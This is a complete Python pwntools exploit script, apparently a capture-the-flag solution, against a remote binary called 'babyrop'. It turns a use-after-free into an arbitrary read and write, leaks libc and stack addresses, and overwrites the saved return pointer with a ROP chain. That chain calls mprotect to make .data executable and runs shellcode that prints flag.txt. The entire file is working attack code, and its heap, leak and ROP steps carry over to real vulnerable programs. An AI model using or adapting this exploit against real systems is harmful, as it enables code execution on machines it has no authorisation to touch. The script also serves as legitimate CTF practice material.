#!/usr/bin/env python3

from pwn import *
from typing import *

def prompt(r: tubes.tube.tube, s: Union[str, bytes], prmpt: bytes = b':') -> None:
    r.sendafter(prmpt, (s if type(s) == bytes else s.encode())+b'\n')

def cmd(r: tubes.tube.tube, c: Union[str, bytes]) -> None:
    prompt(r, c, prmpt=b'command: ')

def create(r: tubes.tube.tube, i: int, sz: int, s: Union[str, bytes]) -> None:
    cmd(r, 'C')
    prompt(r, str(i))
    prompt(r, str(sz))
    prompt(r, s)

def free(r: tubes.tube.tube, i: Union[int, List[int]]) -> None:
    def _free(_i: int) -> None:
        cmd(r, 'F')
        prompt(r, str(_i))
    
    if type(i) == int:
        _free(i)
        return
    for _i in i:
        _free(_i)

def read(r: tubes.tube.tube, i: int) -> bytes:
    cmd(r, 'R')
    prompt(r, str(i))
    r.recvuntil(b'bytes\n')
    return bytes.fromhex(r.recvline().decode())

def write(r: tubes.tube.tube, i: int, s: Union[bytes, str]) -> None:
    cmd(r, 'W')
    prompt(r, str(i))
    prompt(r, s)

def exit(r: tubes.tube.tube) -> None:
    cmd(r, 'E')
    prompt(r, '0')

NUM_STRINGS: int = 10

def main():
    context.clear(arch='amd64')
    
    p = ELF('./babyrop')
    l = ELF('./libc.so.6')
    
    # r = process(p.path, env={'LD_PRELOAD': l.path,})
    # gdb.attach(r, '''b *main+84
    #                  b *main+367''')
    r = remote(*'mc.ax 31245'.split())

    print(f'[*] Setting up UAF situation ... ')
    create(r, 0, 0x10, 'asdf')
    create(r, 1, 0x10, 'bsdf')
    create(r, 2, 0x10, 'bsdf')
    free(r, 0)
    free(r, 1)
    free(r, 2)
    create(r, 3, 0x30, 'qwer')
    print(f'[*] Leaking libc with UAF ... ')
    create(r, 4, 0x10, p64(0x8) + p64(p.got['puts']))

    l.address = u64(read(r, 1)) - l.sym['puts']
    print(f'[*] Libc @ 0x{l.address:x} ... ')

    print(f'[*] Using UAF to leak `environ` from libc ... ')
    write(r, 4, p64(0x8) + p64(l.sym['environ']))
    environ: int = u64(read(r, 1))
    print(f'[*] Leaked `environ` loc on stack @ 0x{environ:x} ... ')

    print(f'[*] Searching for proper stored RIP offset ... ')
    recv: bytes = b''
    off: int = -0x138
    while recv != p64(l.address + 0x2d1ca):
        off -= 8
        write(r, 4, p64(0x8) + p64(environ+off))
        recv = read(r, 1)
        # print(f'[>] READ {recv} (=0x{u64(recv):x}) from 0x{environ+off:x}... ')

    srip: int = environ + off
    print(f'[*] Found stored RIP at @ 0x{srip:x} ... ')
    
    data_s: "Section" = next(filter(lambda s: s.name == '.data', p.sections))

    print(f'[*] Compiling ROP chain to make `.data` RWX ... ')
    prop: ROP = ROP((p, l))
    prop.call(l.sym['mprotect'], [ data_s.header['sh_addr'], 0x1000, pwnlib.constants.PROT_READ|pwnlib.constants.PROT_WRITE|pwnlib.constants.PROT_EXEC, ])
    prop.call(data_s.header['sh_addr']+0x500)

    payl: bytes = prop.chain()
    print(f'[*] Composing shellcode to read and print `flag.txt` ... ')
    shc: bytes = asm(shellcraft.amd64.linux.open('flag.txt')) +\
                 asm(shellcraft.amd64.linux.read('rax', data_s.header['sh_addr']+0x800, 0x200)) +\
                 asm(shellcraft.amd64.linux.write(1, data_s.header['sh_addr']+0x800, 0x200))

    print(f'[*] Writing shellcode to `.data` ... ')
    write(r, 4, p64(len(shc)+1) + p64(data_s.header['sh_addr']+0x500))
    write(r, 1, shc)
    print(f'[*] Overwriting stored return pointer with ROP chain ... ')
    write(r, 4, p64(len(payl)+1) + p64(srip))
    write(r, 1, payl)
    print(f'[*] Triggering exploit ... NOW!')
    exit(r)

    r.interactive()

if __name__ == '__main__':
    main()